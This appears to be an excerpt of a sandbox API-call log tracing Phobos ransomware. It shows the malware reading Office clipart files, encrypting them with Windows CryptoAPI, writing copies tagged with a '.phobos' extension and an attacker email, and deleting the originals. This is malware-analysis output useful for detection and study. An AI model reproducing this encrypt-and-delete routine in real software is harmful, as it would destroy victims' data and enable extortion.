SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.754] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0057.754] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc810) returned 1 [0057.754] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.754] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xd10, lpOverlapped=0x0) returned 1 [0057.759] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xd20, dwBufLen=0xd20 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xd20) returned 1 [0057.759] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xd20, lpOverlapped=0x0) returned 1 [0057.759] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc8d0) returned 1 [0057.759] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.759] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0057.759] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0057.759] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0057.760] CryptDestroyKey (hKey=0x10dc810) returned 1 [0057.760] CloseHandle (hObject=0x2fc) returned 1 [0057.760] CloseHandle (hObject=0x330) returned 1 [0057.760] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0057.769] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0057.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.776] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=7968) returned 1 [0057.776] CloseHandle (hObject=0x2fc) returned 1 [0057.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0057.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.777] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.777] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.778] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc750) returned 1 [0057.778] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.778] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1f20, lpOverlapped=0x0) returned 1 [0057.880] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1f30, dwBufLen=0x1f30 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1f30) returned 1 [0057.880] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1f30, lpOverlapped=0x0) returned 1 [0057.881] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dccd0) returned 1 [0057.881] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.881] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0057.881] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0057.881] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0057.881] CryptDestroyKey (hKey=0x10dc750) returned 1 [0057.881] CloseHandle (hObject=0x310) returned 1 [0057.881] CloseHandle (hObject=0x328) returned 1 [0057.882] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0057.882] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0057.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.883] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1832) returned 1 [0057.883] CloseHandle (hObject=0x328) returned 1 [0057.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0057.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.883] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.883] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0057.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.883] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcc50) returned 1 [0057.883] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0057.883] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x728, lpOverlapped=0x0) returned 1 [0058.061] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x730, dwBufLen=0x730 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x730) returned 1 [0058.061] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x730, lpOverlapped=0x0) returned 1 [0058.061] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc890) returned 1 [0058.061] CryptSetKeyParam (hKey=0x10dc890, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.061] CryptEncrypt (in: hKey=0x10dc890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.061] CryptDestroyKey (hKey=0x10dc890) returned 1 [0058.061] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.062] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0058.062] CloseHandle (hObject=0x328) returned 1 [0058.062] CloseHandle (hObject=0x310) returned 1 [0058.062] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0058.063] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.064] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=5836) returned 1 [0058.064] CloseHandle (hObject=0x310) returned 1 [0058.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0058.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.064] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.064] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.065] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc790) returned 1 [0058.065] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.065] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x16cc, lpOverlapped=0x0) returned 1 [0058.148] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x16d0, dwBufLen=0x16d0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x16d0) returned 1 [0058.149] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x16d0, lpOverlapped=0x0) returned 1 [0058.149] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc6d0) returned 1 [0058.149] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.149] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.149] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0058.149] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.150] CryptDestroyKey (hKey=0x10dc790) returned 1 [0058.150] CloseHandle (hObject=0x310) returned 1 [0058.150] CloseHandle (hObject=0x328) returned 1 [0058.150] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0058.151] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.152] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=6632) returned 1 [0058.152] CloseHandle (hObject=0x328) returned 1 [0058.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0058.152] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.152] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.152] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.152] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc9d0) returned 1 [0058.152] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.152] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x19e8, lpOverlapped=0x0) returned 1 [0058.446] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x19f0, dwBufLen=0x19f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x19f0) returned 1 [0058.446] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x19f0, lpOverlapped=0x0) returned 1 [0058.447] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc890) returned 1 [0058.447] CryptSetKeyParam (hKey=0x10dc890, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.447] CryptEncrypt (in: hKey=0x10dc890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.447] CryptDestroyKey (hKey=0x10dc890) returned 1 [0058.447] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.447] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0058.447] CloseHandle (hObject=0x328) returned 1 [0058.447] CloseHandle (hObject=0x310) returned 1 [0058.448] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0058.449] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.449] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2108) returned 1 [0058.449] CloseHandle (hObject=0x310) returned 1 [0058.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0058.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.449] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.449] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.450] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc810) returned 1 [0058.450] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.450] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x83c, lpOverlapped=0x0) returned 1 [0058.464] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x840, dwBufLen=0x840 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x840) returned 1 [0058.464] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x840, lpOverlapped=0x0) returned 1 [0058.464] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dca50) returned 1 [0058.464] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.465] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.465] CryptDestroyKey (hKey=0x10dca50) returned 1 [0058.465] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.465] CryptDestroyKey (hKey=0x10dc810) returned 1 [0058.465] CloseHandle (hObject=0x310) returned 1 [0058.465] CloseHandle (hObject=0x328) returned 1 